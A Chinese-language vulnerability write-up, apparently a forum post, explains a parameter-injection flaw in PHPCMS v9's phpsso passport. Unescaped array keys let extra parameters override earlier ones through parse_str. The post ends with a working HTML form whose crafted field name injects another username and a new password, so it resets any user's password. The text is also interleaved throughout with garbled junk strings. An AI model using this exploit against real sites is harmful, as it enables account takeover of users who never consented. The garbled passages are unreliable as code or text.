提到的通行证的代码:
- N5 Y/ u& i( U5 a* d0 s
. z1 o* j2 ^9 ~( w# m9 c) j/ o- b8 a
9 t$ S" B; w4 t1 M; ~& [parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data); L3 I/ ?9 g( _' X
. T8 m" e# Y& d- |5 V* P+ J; @
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。+ @5 F6 T& n9 ^ `; w" g
% @+ p4 ]8 P8 u( K7 f我把它留给了你们。
; M& z! L0 Q4 [. V$ P% F不知道你们发现了它没有。, _# i( ?2 K k) n
9 H+ @2 ]$ K) ? S+ r我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。" I" n. l; Y: H+ q7 q# P0 Q& H
[8 r; ?8 V# Z% `9 o8 J
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
$ b! C0 p& h) V2 B' _& J3 j/ q3 ? k3 o; L1 ?0 O) \
也就是
0 Y3 Y- j( r8 N1 A8 v a; q( Q& [& ?0 t: C
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。, p2 } Q7 a4 |% ~% u7 V* b, u, l1 R3 T
9 f; \* T0 Q3 K8 o5 X( }% H要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
) x, ^6 W2 P- ^" P- g9 z5 H
: p8 Q$ g" b5 w; C3 [, Y+ ^" G9 e( w3 y3 B
其实我们有这样的机会,看看代码,如下:
7 Q7 H5 r+ A! A& Y( ^2 i; D9 L0 O! D( K& }
/ A# K$ P. i: k4 X6 Upublic function auth_data($data) {3 ]4 l- _+ C0 N" Z% M
$s = $sep = '';
: T$ Q% b% ]/ [1 U foreach($data as $k => $v) {
% `5 [* `/ f4 m if(is_array($v)) {% o* v# ?2 @5 s" A1 ?9 @
$s2 = $sep2 = '';
$ n5 H) ~* i- \* s1 E- e1 {" l5 a" F foreach($v as $k2 => $v2) {
6 j9 O$ @; b4 C $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);$ v# y. F: x) ~" ~! h
$sep2 = '&';
& G% N W6 x0 ^& d; y2 \; e }, Z# u' ^. c0 `3 H% {
$s .= $sep.$s2;7 ]# W1 k, V- v# H1 o$ _; e* l
} else {, T% B! }. |3 }6 m( I
$s .= "$sep$k=".$this->_ps_stripslashes($v);7 A( Y% [1 [- E, n- J) P) u% m
}
& H8 ^+ b* S" f) R $sep = '&';# N+ B% k8 X( z1 H. y+ q5 t9 E
}( \1 c+ B) k T- {% z; s1 L7 K
% `. g1 Y7 w# p. m7 Q: w1 h
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));, ~+ c" ^6 b7 y9 w8 {
return $auth_s;
+ l& q7 B' I- M# n' m @" S }
4 p" v- N, K" S1 M1 w+ P* Q/ D7 F8 i1 _! | y% I& w$ y' X- S
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
! n' @! Y' Q( `7 J
" N `* o, R0 X& s3 k, b( B举个例子/ ?& c3 j9 V4 ~2 O" _
0 U1 S- z. O& U( d' @1 ]+ {% n$a[aaa=a&bbb] = 'a';
' H6 p( I: X; `5 `8 G8 B- ]3 C9 O% Q& I4 g4 P) {7 R$ L
会变成aaa=a&bbb=a$ v. z/ a2 ^$ p I5 c
) |' B' n1 J/ O. S3 a' s
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。5 x3 z# E5 ~. ~/ }& Z
+ s6 s; P/ K$ z6 Z# J4 y
这个时候,我们可以再去看一个函数。: t7 E+ |0 \' B1 i2 t8 `
" i3 G; W( @- p" |& K( h
就在这个文件内:$ S7 R7 X2 I2 H* t8 w9 J
* \" o A: D/ J$ T, t6 J' h! D! P/ @# G$ r% X7 L4 f8 R
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {: l& |; {2 f) F+ h& P% C
if($email && !$this->_is_email($email)) {$ w: J( K7 j) Q* r2 _; I
return -4;
" F8 r) K+ O! f0 l0 v }
! N" n. v4 n$ T9 Q$ k4 z return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
, D2 m, [2 @$ h- C3 | }
7 J* e+ V! @& a/ |7 d4 G# B
; x3 ~/ p, K5 T- P0 O. O这是向通行证发了这样一个请求。
2 b4 }) C* n% @0 g3 R; B: H+ K& ~1 y) a2 R
我们再跟到通信证代码里去看看,就会有所发现。
" Y! d: b3 r0 w. F ?" w, V
: k. ~9 O; C$ {
p' u B" d1 {9 x1 lpublic function edit() {
' V0 J9 p4 |% z* U+ Z//能省就省,太长了不是吗?4 u# g$ w/ X0 y9 b; |
. G# I# J# P1 K" L: y# Lif($this->username) {
0 g3 [* p4 w- x6 m6 M( v1 |3 q& o//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。7 U; c! J3 [- T; a+ }
$res = $this->db->update($data, array('username'=>$this->username));3 m7 v) Z, l$ \( ]9 x
} else {
; m" Q2 }8 n/ S file_put_contents('typeb.txt',print_r($data,1).$this->uid);9 ~8 h' W# P- ?0 I8 T# P/ R
$res = $this->db->update($data, array('uid'=>$this->uid));
0 V. \$ D# f/ }4 q6 ] }
2 B* p: R Y6 }* B) J6 A' J
, _- X! k) R, c2 r3 n好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
. P% w. \; \, c1 x+ l" W; ^" d B7 L, E+ K }. t1 W/ @0 P
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')* H4 @; |; t1 K! s
. ]# C9 _- i* B* v7 `
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。2 k1 d& {1 c6 r4 M/ k. j' N% e
N% a8 Q0 ]0 ^4 ~: y; y我当然找到了:
. p; k; r. K/ n& z' B& Kphpcms9/phpcms/modules/member/index.php4 P& Y1 e! y4 G" j* t
5 j/ V0 g4 _% q4 @! j" Z: r
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);$ M4 ~( h% p" G) U: D
, q7 i3 i3 K2 L. s然后就没有然后了。
/ f# i. A/ F2 Y: M, M( F! c6 {7 u2 |5 R
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">7 Y$ ?7 f- `2 z
<table width="100%" cellspacing="0" class="table_form">
7 b+ w% a. ~6 o' C: Q* g <tr>
* `* t6 S" u+ R4 x. n9 D <th width="80">邮箱:</th> ; `0 r% v$ @# T3 b6 h7 v! A! S
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
6 l# \( B5 J" o7 d- H </tr>
, Y' V4 n/ @2 K2 _& _ <tr>
2 V3 ~2 |# O2 Z( x4 y+ \ <th width="80">原密码:</th> 5 m+ _ w# z" v6 ?7 m
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
+ w5 T; }+ a. b </tr>
8 u, [7 T4 v' c) M0 { <tr>- @4 f5 {% }% p2 m: O7 ~. s( r
<th>新密码:</th>* S, o3 v3 V* }; y# O Z E/ r
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>" I% a8 G* |# x) e$ L- V
</tr>1 x/ M5 z/ X1 R' X. A, S
<th></th>
% r5 {% E* p4 D6 R% e" j8 u2 i2 B$ P <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
' R1 t7 {# T: k: C+ g </tr>
9 @; T6 ?$ n- E1 v, X" o </table>& s0 d2 z- m9 v5 K
# }4 q/ Y$ c* G
/ V/ x$ n/ o& \* z
</form>
5 B# i3 d- |6 Q, a: O6 Y" Y |